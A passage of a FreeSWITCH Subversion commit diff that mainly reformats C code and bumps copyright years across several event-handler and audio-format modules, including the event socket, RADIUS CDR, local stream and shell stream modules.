if (acs->ack == -1) {
acs->ack--;
@@ -2111,7 +2103,6 @@
switch_snprintf(reply, reply_len, "-ERR permission denied");
goto done;
}
-
//pull off the first newline/carriage return
strip_cr(cmd);
@@ -2182,8 +2173,8 @@
goto end;
}
}
-
-
+
+
if (custom) {
if (!listener->allowed_event_hash || switch_core_hash_find(listener->allowed_event_hash, cur)) {
switch_core_hash_insert(listener->event_hash, cur, MARKER);
@@ -2192,7 +2183,7 @@
goto done;
}
} else if (switch_name_event(cur, &type) == SWITCH_STATUS_SUCCESS) {
- if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) && !listener->allowed_event_list[type] &&
+ if (switch_test_flag(listener, LFLAG_AUTH_EVENTS) && !listener->allowed_event_list[type] &&
!switch_test_flag(listener, LFLAG_ALL_EVENTS_AUTHED)) {
switch_snprintf(reply, reply_len, "-ERR permission denied");
goto done;
@@ -2301,13 +2292,13 @@
}
}
- done:
+ done:
if (zstr(reply)) {
switch_snprintf(reply, reply_len, "-ERR command not found");
}
- done_noreply:
+ done_noreply:
if (event) {
switch_event_destroy(event);
@@ -2332,9 +2323,9 @@
switch_mutex_lock(globals.listener_mutex);
prefs.threads++;
switch_mutex_unlock(globals.listener_mutex);
-
+
switch_assert(listener != NULL);
-
+
if ((session = listener->session)) {
if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
goto done;
@@ -2352,7 +2343,8 @@
const char message[] = "Access Denied, go away.\n";
int mlen = strlen(message);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", listener->remote_ip, prefs.acl[x]);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", listener->remote_ip,
+ prefs.acl[x]);
switch_snprintf(buf, sizeof(buf), "Content-Type: text/rude-rejection\nContent-Length: %d\n\n", mlen);
len = strlen(buf);
@@ -2363,12 +2355,13 @@
}
}
}
-
+
if (globals.debug > 0) {
if (zstr(listener->remote_ip)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open\n");
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip, listener->remote_port);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Connection Open from %s:%d\n", listener->remote_ip,
+ listener->remote_port);
}
}
@@ -2378,7 +2371,7 @@
if (session && switch_test_flag(listener, LFLAG_AUTHED)) {
switch_event_t *ievent = NULL;
-
+
switch_set_flag_locked(listener, LFLAG_SESSION);
status = read_packet(listener, &ievent, 25);
@@ -2387,8 +2380,8 @@
switch_clear_flag_locked(listener, LFLAG_RUNNING);
goto done;
}
-
+
if (parse_command(listener, &ievent, reply, sizeof(reply)) != SWITCH_STATUS_SUCCESS) {
switch_clear_flag_locked(listener, LFLAG_RUNNING);
goto done;
@@ -2462,11 +2455,11 @@
}
done:
-
+
if (revent) {
switch_event_destroy(&revent);
}
-
+
remove_listener(listener);
if (globals.debug > 0) {
@@ -2484,7 +2477,7 @@
if (listener->session) {
channel = switch_core_session_get_channel(listener->session);
}
-
+
if (channel && (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var)))) {
switch_channel_set_state(channel, CS_RESET);
}
@@ -2493,13 +2486,11 @@
char disco_buf[512] = "";
const char message[] = "Disconnected, goodbye.\nSee you at ClueCon! http://www.cluecon.com/\n";
int mlen = strlen(message);
-
+
if (listener->session) {
switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\n"
"Controlled-Session-UUID: %s\n"
- "Content-Disposition: disconnect\n"
- "Content-Length: %d\n\n",
- switch_core_session_get_uuid(listener->session), mlen);
+ "Content-Disposition: disconnect\n" "Content-Length: %d\n\n", switch_core_session_get_uuid(listener->session), mlen);
} else {
switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\nContent-Length: %d\n\n", mlen);
}
@@ -2636,7 +2627,7 @@
config();
- while(!prefs.done) {
+ while (!prefs.done) {
rv = switch_sockaddr_info_get(&sa, prefs.ip, SWITCH_INET, prefs.port, 0, pool);
if (rv)
goto fail;
@@ -2667,13 +2658,13 @@
listen_list.ready = 1;
- while(!prefs.done) {
+ while (!prefs.done) {
if (switch_core_new_memory_pool(&listener_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "OH OH no pool\n");
goto fail;
}
-
+
if ((rv = switch_socket_accept(&inbound_socket, listen_list.sock, listener_pool))) {
if (prefs.done) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Shutting Down\n");
@@ -2689,7 +2680,7 @@
errs = 0;
}
-
+
if (!(listener = switch_core_alloc(listener_pool, sizeof(*listener)))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error\n");
break;
@@ -2717,10 +2708,10 @@
}
- end:
+ end:
close_socket(&listen_list.sock);
-
+
if (prefs.nat_map && switch_core_get_variable("nat_type")) {
switch_nat_del_mapping(prefs.port, SWITCH_NAT_TCP);
}
Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_test/mod_event_test.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_radius_cdr/mod_radius_cdr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,7 +42,8 @@
static struct {
int shutdown;
switch_thread_rwlock_t *rwlock;
-} globals = { 0 };
+} globals = {
+0};
static char cf[] = "mod_radius_cdr.conf";
static char my_dictionary[PATH_MAX];
@@ -346,9 +347,7 @@
}
}
- if (profile->caller_extension &&
- profile->caller_extension->last_application &&
- profile->caller_extension->last_application->application_name) {
+ if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
@@ -369,8 +368,8 @@
retval = SWITCH_STATUS_TERM;
}
rc_avpair_free(send);
- rc_destroy(rad_config);
- end:
+ rc_destroy(rad_config);
+ end:
switch_xml_free(cdr);
switch_thread_rwlock_unlock(globals.rwlock);
return (retval);
@@ -562,8 +561,7 @@
goto end;
}
}
- if (profile->caller_extension && profile->caller_extension->last_application &&
- profile->caller_extension->last_application->application_name) {
+ if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
@@ -643,9 +641,9 @@
retval = SWITCH_STATUS_TERM;
}
rc_avpair_free(send);
- rc_destroy(rad_config);
+ rc_destroy(rad_config);
- end:
+ end:
switch_xml_free(cdr);
switch_thread_rwlock_unlock(globals.rwlock);
return (retval);
@@ -718,11 +716,11 @@
/*.on_hangup */ NULL,
/*.on_exchange_media */ NULL,
/*.on_soft_execute */ NULL,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ my_on_reporting
+ /*.on_consume_media */ NULL,
+ /*.on_hibernate */ NULL,
+ /*.on_reset */ NULL,
+ /*.on_park */ NULL,
+ /*.on_reporting */ my_on_reporting
};
SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)
Modified: freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_file_string/mod_file_string.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -63,10 +63,10 @@
char *file;
const char *prefix = handle->prefix;
- top:
+ top:
context->index++;
-
+
if (switch_test_flag((&context->fh), SWITCH_FILE_OPEN)) {
switch_core_file_close(&context->fh);
}
@@ -89,13 +89,10 @@
}
if (switch_core_file_open(&context->fh,
- file,
- handle->channels,
- handle->samplerate,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ file, handle->channels, handle->samplerate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
goto top;
}
-
+
handle->samples = context->fh.samples;
handle->samplerate = context->fh.samplerate;
handle->channels = context->fh.channels;
@@ -122,15 +119,15 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
return SWITCH_STATUS_FALSE;
}
-
+
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
-
+
file_dup = switch_core_strdup(handle->memory_pool, path);
context->argc = switch_separate_string(file_dup, '!', context->argv, (sizeof(context->argv) / sizeof(context->argv[0])));
context->index = -1;
-
+
handle->private_info = context;
-
+
return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
}
@@ -150,17 +147,17 @@
size_t llen = *len;
if (context->samples > 0) {
- if (*len > (size_t)context->samples) {
+ if (*len > (size_t) context->samples) {
*len = context->samples;
}
-
+
context->samples -= *len;
switch_generate_sln_silence((int16_t *) data, *len, 400);
status = SWITCH_STATUS_SUCCESS;
} else {
status = switch_core_file_read(&context->fh, data, len);
}
-
+
if (status != SWITCH_STATUS_SUCCESS) {
if (!next_file(handle)) {
return SWITCH_STATUS_FALSE;
Modified: freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_local_stream/mod_local_stream.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -137,7 +137,7 @@
}
switch_thread_rwlock_create(&source->rwlock, source->pool);
-
+
if (RUNNING) {
switch_mutex_lock(globals.mutex);
switch_core_hash_insert(globals.source_hash, source->name, source);
@@ -156,7 +156,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error creating pool");
goto done;
}
-
+
if (switch_dir_open(&source->dir_handle, source->location, temp_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't open directory: %s\n", source->location);
goto done;
@@ -203,7 +203,7 @@
fname = path_buf;
fh.prebuf = source->prebuf;
fh.pre_buffer_datalen = source->prebuf;
-
+
if (switch_core_file_open(&fh,
(char *) fname,
source->channels, source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
@@ -211,7 +211,7 @@
switch_yield(1000000);
continue;
}
-
+
if (switch_core_timer_init(&timer, source->timer_name, source->interval, source->samples, temp_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't start timer.\n");
switch_dir_close(source->dir_handle);
@@ -231,10 +231,10 @@
if (source->chime_counter > 0) {
source->chime_counter -= source->samples;
}
-
+
if (!switch_test_flag((&source->chime_fh), SWITCH_FILE_OPEN) && source->chime_counter <= 0) {
char *val;
-
+
val = source->chime_list[source->chime_cur++];
if (source->chime_cur >= source->chime_total) {
@@ -243,9 +243,8 @@
if (switch_core_file_open(&source->chime_fh,
(char *) val,
- source->channels,
- source->rate,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ source->channels,
+ source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open %s\n", val);
}
}
@@ -255,7 +254,7 @@
}
}
- retry:
+ retry:
is_open = switch_test_flag(use_fh, SWITCH_FILE_OPEN);
@@ -287,7 +286,7 @@
if (!used && !is_open) {
break;
}
-
+
if (!is_open || used >= source->prebuf || (source->total && used > source->samples * 2)) {
used = switch_buffer_read(audio_buffer, dist_buf, source->samples * 2);
if (source->total) {
@@ -322,7 +321,7 @@
source->dir_handle = NULL;
}
- done:
+ done:
if (switch_test_flag((&fh), SWITCH_FILE_OPEN)) {
switch_core_file_close(&fh);
@@ -339,7 +338,7 @@
switch_thread_rwlock_wrlock(source->rwlock);
switch_thread_rwlock_unlock(source->rwlock);
-
+
switch_buffer_destroy(&audio_buffer);
if (fd > -1) {
@@ -376,7 +375,7 @@
switch_mutex_lock(globals.mutex);
- top:
+ top:
alt_path = switch_mprintf("%s/%d", path, handle->samplerate);
@@ -439,7 +438,7 @@
source->total++;
switch_mutex_unlock(source->mutex);
- end:
+ end:
switch_safe_free(alt_path);
return status;
}
@@ -464,7 +463,7 @@
switch_mutex_unlock(context->source->mutex);
switch_buffer_destroy(&context->audio_buffer);
switch_thread_rwlock_unlock(context->source->rwlock);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -573,7 +572,8 @@
}
} else if (!strcasecmp(var, "chime-list")) {
char *list_dup = switch_core_strdup(source->pool, val);
- source->chime_total = switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
+ source->chime_total =
+ switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
} else if (!strcasecmp(var, "interval")) {
int tmp = atoi(val);
if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
@@ -644,19 +644,19 @@
switch_mutex_unlock(globals.mutex);
if (!source) {
- stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
+ stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
goto done;
}
source->stopped = 1;
- stream->write_function(stream,"+OK");
+ stream->write_function(stream, "+OK");
goto done;
- usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", STOP_LOCAL_STREAM_SYNTAX);
switch_safe_free(mycmd);
- done:
+ done:
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
@@ -694,7 +694,7 @@
xml = SWITCH_TRUE;
}
}
-
+
if (!local_stream_name) {
goto usage;
}
@@ -730,18 +730,18 @@
stream->write_function(stream, " stopped: %s\n", (source->stopped) ? "true" : "false");
}
} else {
- stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
+ stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
goto done;
}
}
- stream->write_function(stream,"+OK");
+ stream->write_function(stream, "+OK");
goto done;
- usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", SHOW_LOCAL_STREAM_SYNTAX);
- done:
+ done:
switch_mutex_unlock(globals.mutex);
switch_safe_free(mycmd);
@@ -796,29 +796,28 @@
if (argv[5]) {
tmp = atoi(argv[5]);
if (tmp == 1 || tmp == 2) {
- channels = (uint8_t)tmp;
+ channels = (uint8_t) tmp;
}
}
interval = argv[6] ? atoi(argv[6]) : 20;
-
- if (!SWITCH_ACCEPTABLE_INTERVAL(interval)){
+
+ if (!SWITCH_ACCEPTABLE_INTERVAL(interval)) {
interval = 20;
}
- if (!path){
+ if (!path) {
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
- stream->write_function(stream, "-ERR unable to open file %s!\n",cf);
+ stream->write_function(stream, "-ERR unable to open file %s!\n", cf);
goto done;
}
for (directory = switch_xml_child(cfg, "directory"); directory; directory = directory->next) {
char *name = (char *) switch_xml_attr(directory, "name");
- if (!name || !local_stream_name || strcasecmp(name, local_stream_name)){
+ if (!name || !local_stream_name || strcasecmp(name, local_stream_name)) {
continue;
- }
- else {
+ } else {
path = (char *) switch_xml_attr(directory, "path");
if (!(name && path)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid config!\n");
@@ -868,7 +867,7 @@
}
switch_xml_free(xml);
}
-
+
if (zstr(local_stream_name) || zstr(path)) {
goto usage;
}
@@ -878,13 +877,13 @@
switch_mutex_unlock(globals.mutex);
if (source) {
source->stopped = 0;
- stream->write_function(stream,"+OK");
- goto done;
+ stream->write_function(stream, "+OK");
+ goto done;
}
if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool for new local_stream\n");
- stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n",local_stream_name);
+ stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n", local_stream_name);
goto done;
}
@@ -910,13 +909,13 @@
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
switch_thread_create(&thread, thd_attr, read_stream_thread, source, source->pool);
- stream->write_function(stream,"+OK");
+ stream->write_function(stream, "+OK");
goto done;
- usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", START_LOCAL_STREAM_SYNTAX);
- done:
+ done:
switch_safe_free(path);
switch_safe_free(timer_name);
@@ -960,7 +959,7 @@
RUNNING = 0;
switch_event_unbind_callback(event_handler);
- while(THREADS > 0) {
+ while (THREADS > 0) {
switch_yield(100000);
}
Modified: freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_native_file/mod_native_file.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -104,7 +104,7 @@
if ((status = switch_file_trunc(context->fd, offset)) == SWITCH_STATUS_SUCCESS) {
handle->pos = 0;
}
-
+
return status;
}
Modified: freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_portaudio_stream/mod_portaudio_stream.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -154,9 +154,9 @@
return -1;
}
-static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
+static switch_status_t engage_device(portaudio_stream_source_t *source, int restart)
{
- PaStreamParameters inputParameters,outputParameters;
+ PaStreamParameters inputParameters, outputParameters;
PaError err;
int sample_rate = source->rate;
int codec_ms = source->interval;
@@ -187,8 +187,7 @@
if (switch_core_codec_init(&source->write_codec,
"L16",
NULL,
- sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
- NULL) != SWITCH_STATUS_SUCCESS) {
+ sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
switch_core_codec_destroy(&source->read_codec);
return SWITCH_STATUS_FALSE;
@@ -198,7 +197,7 @@
if (!source->timer.timer_interface) {
if (switch_core_timer_init(&source->timer,
- source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
+ source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
switch_core_codec_destroy(&source->read_codec);
@@ -224,14 +223,13 @@
outputParameters.hostApiSpecificStreamInfo = NULL;
- err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff,
- source->read_codec.implementation->samples_per_packet, 0);
+ err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff, source->read_codec.implementation->samples_per_packet, 0);
/* UNLOCKED ************************************************************************************************* */
if (err != paNoError) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening audio device retrying\n");
switch_yield(1000000);
err = OpenAudioStream(&source->audio_stream, &inputParameters, &outputParameters, sample_rate, paClipOff,
- source->read_codec.implementation->samples_per_packet, 0);
+ source->read_codec.implementation->samples_per_packet, 0);
}
switch_mutex_unlock(source->device_lock);
@@ -251,7 +249,7 @@
portaudio_stream_source_t *source = obj;
portaudio_stream_context_t *cp;
int samples = 0;
- int bused, bytesToWrite;
+ int bused, bytesToWrite;
switch_mutex_lock(globals.mutex);
@@ -271,14 +269,14 @@
switch_thread_rwlock_create(&source->rwlock, source->pool);
- if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n",(int) source->sourcedev);
+ if (engage_device(source, 0) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n", (int) source->sourcedev);
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n",(int) source->sourcedev, (int) source->rate);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n", (int) source->sourcedev, (int) source->rate);
if (globals.running && !source->stopped) {
source->ready = 1;
- if (!source->audio_stream){
+ if (!source->audio_stream) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Audio Stream wops!\n");
source->stopped = 0;
source->ready = 0;
@@ -287,7 +285,7 @@
samples = 0;
switch_mutex_lock(source->device_lock);
samples = ReadAudioStream(source->audio_stream, source->databuf,
- source->read_codec.implementation->samples_per_packet , &source->timer);
+ source->read_codec.implementation->samples_per_packet, &source->timer);
switch_mutex_unlock(source->device_lock);
@@ -306,9 +304,9 @@
switch_mutex_lock(cp->audio_mutex);
bused = switch_buffer_inuse(cp->audio_buffer);
- if (bused > source->samples * 768 ) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n", cp->func, cp->file,
- cp->line,(int) bused, (int) ( source->samples * 768));
+ if (bused > source->samples * 768) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n",
+ cp->func, cp->file, cp->line, (int) bused, (int) (source->samples * 768));
switch_buffer_zero(cp->audio_buffer);
} else {
switch_buffer_write(cp->audio_buffer, source->databuf, bytesToWrite);
@@ -357,7 +355,7 @@
switch_mutex_unlock(globals.mutex);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " thread ending succesfully !\n");
- switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
+ switch_thread_exit(thread, SWITCH_STATUS_SUCCESS);
return NULL;
}
@@ -365,14 +363,14 @@
static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
{
- portaudio_stream_context_t *context ;
+ portaudio_stream_context_t *context;
portaudio_stream_source_t *source;
switch_memory_pool_t *pool;
switch_status_t status = SWITCH_STATUS_FALSE;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
uint32_t rate = PREFERRED_RATE;
- char *npath ;
+ char *npath;
int devNumber;
int tmp;
@@ -383,7 +381,7 @@
return status;
}
- npath = switch_core_strdup(module_pool, path);
+ npath = switch_core_strdup(module_pool, path);
tmp = handle->samplerate;
if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
@@ -391,11 +389,11 @@
}
if (*path == '#') {
- devNumber = get_dev_by_number(npath + 1, 1);
+ devNumber = get_dev_by_number(npath + 1, 1);
} else {
- devNumber = get_dev_by_name(npath , 1);
+ devNumber = get_dev_by_name(npath, 1);
}
- npath = switch_mprintf("device-%d at %d",devNumber,rate);
+ npath = switch_mprintf("device-%d at %d", devNumber, rate);
switch_mutex_lock(globals.mutex);
source = switch_core_hash_find(globals.source_hash, npath);
@@ -408,7 +406,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, " :S no pool\n");
} else {
source = switch_core_alloc(pool, sizeof(*source));
- if (source!=NULL){
+ if (source != NULL) {
source->pool = pool;
source->sourcedev = devNumber;
source->sourcename = switch_core_strdup(source->pool, npath);
@@ -436,8 +434,8 @@
/* dev already engaged */
if (source) {
- /*wait for source to be ready*/
- while(source->ready==0) {
+ /*wait for source to be ready */
+ while (source->ready == 0) {
switch_yield(100000);
}
@@ -596,7 +594,7 @@
globals.running = 0;
switch_event_unbind_callback(shutdown_event_handler);
- while(globals.threads > 0) {
+ while (globals.threads > 0) {
switch_yield(100000);
}
Modified: freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c (16578 => 16579)
--- freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_shell_stream/mod_shell_stream.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -43,7 +43,7 @@
int pid;
char *command;
switch_buffer_t *audio_buffer;
- switch_mutex_t *mutex;
+ switch_mutex_t *mutex;
switch_thread_rwlock_t *rwlock;
int running;
};
@@ -63,15 +63,15 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
goto end;
}
-
- while(context->running) {
-
+
+ while (context->running) {
+
rlen = read(context->fds[0], data, MY_BUF_LEN);
if (rlen <= 3) {
break;
}
-
+
switch_mutex_lock(context->mutex);
switch_buffer_write(context->audio_buffer, data, rlen);
switch_mutex_unlock(context->mutex);
@@ -79,7 +79,7 @@
switch_thread_rwlock_unlock(context->rwlock);
- end:
+ end:
context->running = 0;
@@ -92,26 +92,26 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
-
+
if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
return SWITCH_STATUS_FALSE;
}
-
+
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
-
+
context->fds[0] = -1;
context->fds[1] = -1;
context->command = switch_core_sprintf(handle->memory_pool, "%s -r %d -c %d", path, handle->samplerate, handle->channels);
if (pipe(context->fds)) {
goto error;
- } else { /* good to go*/
+ } else { /* good to go */
context->pid = fork();
-
- if (context->pid < 0) { /* ok maybe not */
+
